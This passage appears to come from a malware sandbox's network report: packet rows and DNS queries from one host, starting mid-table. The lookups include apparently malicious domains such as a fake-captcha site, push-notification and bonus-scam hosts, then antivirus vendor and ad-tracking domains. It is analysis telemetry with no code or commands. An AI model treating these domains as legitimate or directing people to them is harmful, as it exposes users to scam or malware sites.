Oct 3, 2024 17:20:00.737056971 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.737138987 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.737148046 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.743184090 CEST	443	56150	157.240.253.1	192.168.2.17
Oct 3, 2024 17:20:00.743377924 CEST	56150	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:20:00.743391991 CEST	443	56150	157.240.253.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 17:18:09.979701042 CEST	192.168.2.17	1.1.1.1	0x6fba	Standard query (0)	ahchoadeegu.homes	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:09.981601000 CEST	192.168.2.17	1.1.1.1	0xe8a4	Standard query (0)	ahchoadeegu.homes	65	IN (0x0001)	false
Oct 3, 2024 17:18:11.971328020 CEST	192.168.2.17	1.1.1.1	0x13ae	Standard query (0)	831be5de.braraildye.live	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:11.971534967 CEST	192.168.2.17	1.1.1.1	0x313b	Standard query (0)	831be5de.braraildye.live	65	IN (0x0001)	false
Oct 3, 2024 17:18:13.523005962 CEST	192.168.2.17	1.1.1.1	0xe170	Standard query (0)	re-captha-version-4-21.buzz	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.523152113 CEST	192.168.2.17	1.1.1.1	0x17a1	Standard query (0)	re-captha-version-4-21.buzz	65	IN (0x0001)	false
Oct 3, 2024 17:18:13.880198002 CEST	192.168.2.17	1.1.1.1	0xd19c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:13.880429029 CEST	192.168.2.17	1.1.1.1	0x18fb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:39.308715105 CEST	192.168.2.17	1.1.1.1	0x8648	Standard query (0)	pushbizapi.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:39.308866024 CEST	192.168.2.17	1.1.1.1	0x20f	Standard query (0)	pushbizapi.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:40.476479053 CEST	192.168.2.17	1.1.1.1	0xa8b7	Standard query (0)	pushbizapi.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.476618052 CEST	192.168.2.17	1.1.1.1	0x6214	Standard query (0)	pushbizapi.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:40.488711119 CEST	192.168.2.17	1.1.1.1	0x1242	Standard query (0)	k8cpmrdof.thebigbonusleader.xyz	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.488847971 CEST	192.168.2.17	1.1.1.1	0x1aa	Standard query (0)	k8cpmrdof.thebigbonusleader.xyz	65	IN (0x0001)	false
Oct 3, 2024 17:18:40.942085981 CEST	192.168.2.17	1.1.1.1	0x6980	Standard query (0)	static.imghst-de.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.942323923 CEST	192.168.2.17	1.1.1.1	0xc2b6	Standard query (0)	static.imghst-de.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:40.942758083 CEST	192.168.2.17	1.1.1.1	0xa4c3	Standard query (0)	jpgtrk.imghst-de.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:40.942925930 CEST	192.168.2.17	1.1.1.1	0xdf4b	Standard query (0)	jpgtrk.imghst-de.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:42.564382076 CEST	192.168.2.17	1.1.1.1	0x3614	Standard query (0)	trk.imghst-de.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.564547062 CEST	192.168.2.17	1.1.1.1	0x903e	Standard query (0)	trk.imghst-de.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:42.717528105 CEST	192.168.2.17	1.1.1.1	0xa829	Standard query (0)	search.molhajane.live	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:42.717720032 CEST	192.168.2.17	1.1.1.1	0x3359	Standard query (0)	search.molhajane.live	65	IN (0x0001)	false
Oct 3, 2024 17:18:44.066044092 CEST	192.168.2.17	1.1.1.1	0x742a	Standard query (0)	rtb.altairfomalhaut.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:44.066286087 CEST	192.168.2.17	1.1.1.1	0xb7c4	Standard query (0)	rtb.altairfomalhaut.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:52.446924925 CEST	192.168.2.17	1.1.1.1	0xf610	Standard query (0)	pshmtrack.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:52.447097063 CEST	192.168.2.17	1.1.1.1	0xf443	Standard query (0)	pshmtrack.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:53.523920059 CEST	192.168.2.17	1.1.1.1	0x3c39	Standard query (0)	psh-dsp-trk.trkless.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:53.524061918 CEST	192.168.2.17	1.1.1.1	0xc34f	Standard query (0)	psh-dsp-trk.trkless.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:55.078619003 CEST	192.168.2.17	1.1.1.1	0x913d	Standard query (0)	beta-scan.site	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:55.078754902 CEST	192.168.2.17	1.1.1.1	0x8cd5	Standard query (0)	beta-scan.site	65	IN (0x0001)	false
Oct 3, 2024 17:18:57.419935942 CEST	192.168.2.17	1.1.1.1	0x4268	Standard query (0)	beta-scan.site	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:57.420169115 CEST	192.168.2.17	1.1.1.1	0x63be	Standard query (0)	beta-scan.site	65	IN (0x0001)	false
Oct 3, 2024 17:18:59.485158920 CEST	192.168.2.17	1.1.1.1	0x56b2	Standard query (0)	sdk4push.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.485698938 CEST	192.168.2.17	1.1.1.1	0x2c65	Standard query (0)	sdk4push.com	65	IN (0x0001)	false
Oct 3, 2024 17:18:59.486340046 CEST	192.168.2.17	1.1.1.1	0xc667	Standard query (0)	redrotou.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.486494064 CEST	192.168.2.17	1.1.1.1	0x34d6	Standard query (0)	redrotou.net	65	IN (0x0001)	false
Oct 3, 2024 17:18:59.591069937 CEST	192.168.2.17	1.1.1.1	0x8e04	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:18:59.591257095 CEST	192.168.2.17	1.1.1.1	0x2f32	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:00.605562925 CEST	192.168.2.17	1.1.1.1	0xd87	Standard query (0)	redrotou.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.605704069 CEST	192.168.2.17	1.1.1.1	0x4854	Standard query (0)	redrotou.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:00.659953117 CEST	192.168.2.17	1.1.1.1	0x23ee	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.660723925 CEST	192.168.2.17	1.1.1.1	0x237b	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:00.773322105 CEST	192.168.2.17	1.1.1.1	0xdba0	Standard query (0)	sdk4push.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.773569107 CEST	192.168.2.17	1.1.1.1	0xd0b3	Standard query (0)	sdk4push.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:00.778419018 CEST	192.168.2.17	1.1.1.1	0x2b24	Standard query (0)	uidsync.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.778822899 CEST	192.168.2.17	1.1.1.1	0x67e3	Standard query (0)	uidsync.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:00.906984091 CEST	192.168.2.17	1.1.1.1	0x779c	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:00.907289982 CEST	192.168.2.17	1.1.1.1	0x966a	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:01.715248108 CEST	192.168.2.17	1.1.1.1	0x5f5f	Standard query (0)	my.rtmark.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:01.715442896 CEST	192.168.2.17	1.1.1.1	0x4f86	Standard query (0)	my.rtmark.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:03.191102028 CEST	192.168.2.17	1.1.1.1	0x1a55	Standard query (0)	uidsync.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:03.191338062 CEST	192.168.2.17	1.1.1.1	0xc5ed	Standard query (0)	uidsync.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:11.392719030 CEST	192.168.2.17	1.1.1.1	0x741a	Standard query (0)	psh-dsp-trk.trkless.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:11.392854929 CEST	192.168.2.17	1.1.1.1	0x287b	Standard query (0)	psh-dsp-trk.trkless.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:12.276772976 CEST	192.168.2.17	1.1.1.1	0x60	Standard query (0)	avkk.newplanexcel.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:12.278645992 CEST	192.168.2.17	1.1.1.1	0x48c	Standard query (0)	avkk.newplanexcel.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:16.194737911 CEST	192.168.2.17	1.1.1.1	0x3906	Standard query (0)	www.jdoqocy.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:16.194885015 CEST	192.168.2.17	1.1.1.1	0x4ea2	Standard query (0)	www.jdoqocy.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:17.344348907 CEST	192.168.2.17	1.1.1.1	0x8363	Standard query (0)	cj.dotomi.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:17.346086025 CEST	192.168.2.17	1.1.1.1	0xb365	Standard query (0)	cj.dotomi.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:18.505125046 CEST	192.168.2.17	1.1.1.1	0x142d	Standard query (0)	www.emjcd.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:18.505188942 CEST	192.168.2.17	1.1.1.1	0xb02f	Standard query (0)	www.emjcd.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:37.993690014 CEST	192.168.2.17	1.1.1.1	0xa65e	Standard query (0)	www.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:37.993884087 CEST	192.168.2.17	1.1.1.1	0x375c	Standard query (0)	www.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.199731112 CEST	192.168.2.17	1.1.1.1	0xccb9	Standard query (0)	id.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.199898958 CEST	192.168.2.17	1.1.1.1	0x7f5a	Standard query (0)	id.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.200087070 CEST	192.168.2.17	1.1.1.1	0x2af1	Standard query (0)	tags.tiqcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.200203896 CEST	192.168.2.17	1.1.1.1	0x4492	Standard query (0)	tags.tiqcdn.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.200356007 CEST	192.168.2.17	1.1.1.1	0xa827	Standard query (0)	www.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.200478077 CEST	192.168.2.17	1.1.1.1	0x5626	Standard query (0)	www.upsellit.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.211431026 CEST	192.168.2.17	1.1.1.1	0x7a0a	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.211602926 CEST	192.168.2.17	1.1.1.1	0x70d2	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.212119102 CEST	192.168.2.17	1.1.1.1	0x8441	Standard query (0)	rtr.innovid.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.212276936 CEST	192.168.2.17	1.1.1.1	0x1261	Standard query (0)	rtr.innovid.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.220099926 CEST	192.168.2.17	1.1.1.1	0x9efa	Standard query (0)	sp.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.220232010 CEST	192.168.2.17	1.1.1.1	0xdaa4	Standard query (0)	sp.analytics.yahoo.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.221307993 CEST	192.168.2.17	1.1.1.1	0x7e19	Standard query (0)	mcafeeinc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.221431971 CEST	192.168.2.17	1.1.1.1	0xc17e	Standard query (0)	mcafeeinc.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.241029978 CEST	192.168.2.17	1.1.1.1	0x74b1	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.241249084 CEST	192.168.2.17	1.1.1.1	0x7706	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.246925116 CEST	192.168.2.17	1.1.1.1	0x8e3d	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.247123003 CEST	192.168.2.17	1.1.1.1	0xc687	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.250155926 CEST	192.168.2.17	1.1.1.1	0x1c80	Standard query (0)	app.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.250324011 CEST	192.168.2.17	1.1.1.1	0xaf0b	Standard query (0)	app.upsellit.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.255580902 CEST	192.168.2.17	1.1.1.1	0x5b63	Standard query (0)	pixel.quantserve.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.255707026 CEST	192.168.2.17	1.1.1.1	0x23fe	Standard query (0)	pixel.quantserve.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.260560989 CEST	192.168.2.17	1.1.1.1	0xa13f	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.260690928 CEST	192.168.2.17	1.1.1.1	0x4dd6	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.264388084 CEST	192.168.2.17	1.1.1.1	0xaab3	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.264530897 CEST	192.168.2.17	1.1.1.1	0x57a2	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.268805027 CEST	192.168.2.17	1.1.1.1	0xafc4	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.268920898 CEST	192.168.2.17	1.1.1.1	0xf32b	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.273138046 CEST	192.168.2.17	1.1.1.1	0x6324	Standard query (0)	s-static.innovid.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.273330927 CEST	192.168.2.17	1.1.1.1	0xe65e	Standard query (0)	s-static.innovid.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.277430058 CEST	192.168.2.17	1.1.1.1	0x36ce	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.277605057 CEST	192.168.2.17	1.1.1.1	0x8210	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.282799006 CEST	192.168.2.17	1.1.1.1	0xbbb4	Standard query (0)	secure.quantserve.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.282922983 CEST	192.168.2.17	1.1.1.1	0xb9d2	Standard query (0)	secure.quantserve.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:39.348953009 CEST	192.168.2.17	1.1.1.1	0x8338	Standard query (0)	id.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:39.349152088 CEST	192.168.2.17	1.1.1.1	0x8219	Standard query (0)	id.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:40.223656893 CEST	192.168.2.17	1.1.1.1	0xc735	Standard query (0)	www.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.223846912 CEST	192.168.2.17	1.1.1.1	0x7202	Standard query (0)	www.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:40.253108025 CEST	192.168.2.17	1.1.1.1	0x6b16	Standard query (0)	mcafee12.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.253308058 CEST	192.168.2.17	1.1.1.1	0x240	Standard query (0)	mcafee12.tt.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:40.368897915 CEST	192.168.2.17	1.1.1.1	0x88f0	Standard query (0)	www.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.369194984 CEST	192.168.2.17	1.1.1.1	0x3211	Standard query (0)	www.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:40.429585934 CEST	192.168.2.17	1.1.1.1	0xa1be	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:40.429789066 CEST	192.168.2.17	1.1.1.1	0x89c9	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:41.082350016 CEST	192.168.2.17	1.1.1.1	0xb0a8	Standard query (0)	mcafee12.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.082551956 CEST	192.168.2.17	1.1.1.1	0x94ca	Standard query (0)	mcafee12.tt.omtrdc.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:41.681226969 CEST	192.168.2.17	1.1.1.1	0xa347	Standard query (0)	s.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.681473017 CEST	192.168.2.17	1.1.1.1	0x766b	Standard query (0)	s.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:41.951116085 CEST	192.168.2.17	1.1.1.1	0xae8c	Standard query (0)	c.go-mpulse.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:41.951390028 CEST	192.168.2.17	1.1.1.1	0xc3f2	Standard query (0)	c.go-mpulse.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:44.870831013 CEST	192.168.2.17	1.1.1.1	0x94ac	Standard query (0)	me.kis.v2.scr.kaspersky-labs.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:44.871010065 CEST	192.168.2.17	1.1.1.1	0x182e	Standard query (0)	me.kis.v2.scr.kaspersky-labs.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:44.872342110 CEST	192.168.2.17	1.1.1.1	0x25f0	Standard query (0)	gc.kis.v2.scr.kaspersky-labs.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:44.872618914 CEST	192.168.2.17	1.1.1.1	0x9967	Standard query (0)	gc.kis.v2.scr.kaspersky-labs.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:46.316780090 CEST	192.168.2.17	1.1.1.1	0x3d2c	Standard query (0)	id.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:46.317074060 CEST	192.168.2.17	1.1.1.1	0x207a	Standard query (0)	id.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:47.903007030 CEST	192.168.2.17	1.1.1.1	0x9cb5	Standard query (0)	tags.tiqcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:47.903207064 CEST	192.168.2.17	1.1.1.1	0x6436	Standard query (0)	tags.tiqcdn.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:50.647165060 CEST	192.168.2.17	1.1.1.1	0x79d7	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:50.647320986 CEST	192.168.2.17	1.1.1.1	0x157f	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:51.618184090 CEST	192.168.2.17	1.1.1.1	0x8c6f	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.618315935 CEST	192.168.2.17	1.1.1.1	0x5407	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:51.629638910 CEST	192.168.2.17	1.1.1.1	0xa26e	Standard query (0)	mcafeeinc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:51.630067110 CEST	192.168.2.17	1.1.1.1	0x6a85	Standard query (0)	mcafeeinc.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:52.148722887 CEST	192.168.2.17	1.1.1.1	0x941	Standard query (0)	edge.fullstory.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:52.148857117 CEST	192.168.2.17	1.1.1.1	0x28f1	Standard query (0)	edge.fullstory.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:52.807679892 CEST	192.168.2.17	1.1.1.1	0xf1ac	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:52.807799101 CEST	192.168.2.17	1.1.1.1	0xfa98	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:52.988954067 CEST	192.168.2.17	1.1.1.1	0x5f35	Standard query (0)	cdn1.adoberesources.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:52.989119053 CEST	192.168.2.17	1.1.1.1	0xc68b	Standard query (0)	cdn1.adoberesources.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:52.990287066 CEST	192.168.2.17	1.1.1.1	0xcd7a	Standard query (0)	www.upsellit.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:52.990432024 CEST	192.168.2.17	1.1.1.1	0xc8b2	Standard query (0)	www.upsellit.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.010552883 CEST	192.168.2.17	1.1.1.1	0x218	Standard query (0)	edge.fullstory.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.010680914 CEST	192.168.2.17	1.1.1.1	0x8f7d	Standard query (0)	edge.fullstory.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.012053013 CEST	192.168.2.17	1.1.1.1	0x66e1	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.012202024 CEST	192.168.2.17	1.1.1.1	0x90e	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.573607922 CEST	192.168.2.17	1.1.1.1	0xe031	Standard query (0)	smetrics.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.573791981 CEST	192.168.2.17	1.1.1.1	0x578b	Standard query (0)	smetrics.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.602659941 CEST	192.168.2.17	1.1.1.1	0x5d94	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.602720976 CEST	192.168.2.17	1.1.1.1	0x9aab	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.628258944 CEST	192.168.2.17	1.1.1.1	0xc65f	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.628916025 CEST	192.168.2.17	1.1.1.1	0xb180	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.666548967 CEST	192.168.2.17	1.1.1.1	0x9363	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.666690111 CEST	192.168.2.17	1.1.1.1	0xfdcc	Standard query (0)	google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.679424047 CEST	192.168.2.17	1.1.1.1	0x533b	Standard query (0)	rs.fullstory.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.679573059 CEST	192.168.2.17	1.1.1.1	0x6889	Standard query (0)	rs.fullstory.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:53.736746073 CEST	192.168.2.17	1.1.1.1	0x44fc	Standard query (0)	smetrics.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:53.736903906 CEST	192.168.2.17	1.1.1.1	0x4dc1	Standard query (0)	smetrics.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.152228117 CEST	192.168.2.17	1.1.1.1	0xcbd0	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.152316093 CEST	192.168.2.17	1.1.1.1	0x3519	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.152638912 CEST	192.168.2.17	1.1.1.1	0xc3a0	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.152790070 CEST	192.168.2.17	1.1.1.1	0x37df	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.153455973 CEST	192.168.2.17	1.1.1.1	0x85a7	Standard query (0)	cdn1.adoberesources.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.153589964 CEST	192.168.2.17	1.1.1.1	0x11e4	Standard query (0)	cdn1.adoberesources.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.169471979 CEST	192.168.2.17	1.1.1.1	0x3dcb	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.169672012 CEST	192.168.2.17	1.1.1.1	0x16af	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.317575932 CEST	192.168.2.17	1.1.1.1	0xf7c	Standard query (0)	rs.fullstory.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.317715883 CEST	192.168.2.17	1.1.1.1	0xb38b	Standard query (0)	rs.fullstory.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.527472019 CEST	192.168.2.17	1.1.1.1	0x2528	Standard query (0)	collector-30568.us.tvsquared.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.527611017 CEST	192.168.2.17	1.1.1.1	0x735d	Standard query (0)	collector-30568.us.tvsquared.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.788717031 CEST	192.168.2.17	1.1.1.1	0x95f	Standard query (0)	smetrics.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:54.790968895 CEST	192.168.2.17	1.1.1.1	0xf44b	Standard query (0)	smetrics.mcafee.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:54.974656105 CEST	192.168.2.17	1.1.1.1	0x5395	Standard query (0)	smetrics.mcafee.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.107929945 CEST	192.168.2.17	1.1.1.1	0xb832	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.108067036 CEST	192.168.2.17	1.1.1.1	0xcc5f	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:55.399281979 CEST	192.168.2.17	1.1.1.1	0xd840	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.399420977 CEST	192.168.2.17	1.1.1.1	0x614b	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:55.488308907 CEST	192.168.2.17	1.1.1.1	0x98e9	Standard query (0)	collector-30568.us.tvsquared.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.488444090 CEST	192.168.2.17	1.1.1.1	0x78c3	Standard query (0)	collector-30568.us.tvsquared.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:55.983599901 CEST	192.168.2.17	1.1.1.1	0x5176	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.983766079 CEST	192.168.2.17	1.1.1.1	0xe696	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:55.984042883 CEST	192.168.2.17	1.1.1.1	0x17e7	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.984405041 CEST	192.168.2.17	1.1.1.1	0x9442	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:55.989538908 CEST	192.168.2.17	1.1.1.1	0xd43e	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:55.989840984 CEST	192.168.2.17	1.1.1.1	0x30c4	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 3, 2024 17:19:58.337188959 CEST	192.168.2.17	1.1.1.1	0x6e3d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:58.337323904 CEST	192.168.2.17	1.1.1.1	0x685b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 3, 2024 17:19:58.508666039 CEST	192.168.2.17	1.1.1.1	0x7616	Standard query (0)	sp.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 17:19:58.508910894 CEST	192.168.2.17	1.1.1.1	0xff79	Standard query (0)	sp.analytics.yahoo.com	65	IN (0x0001)	false
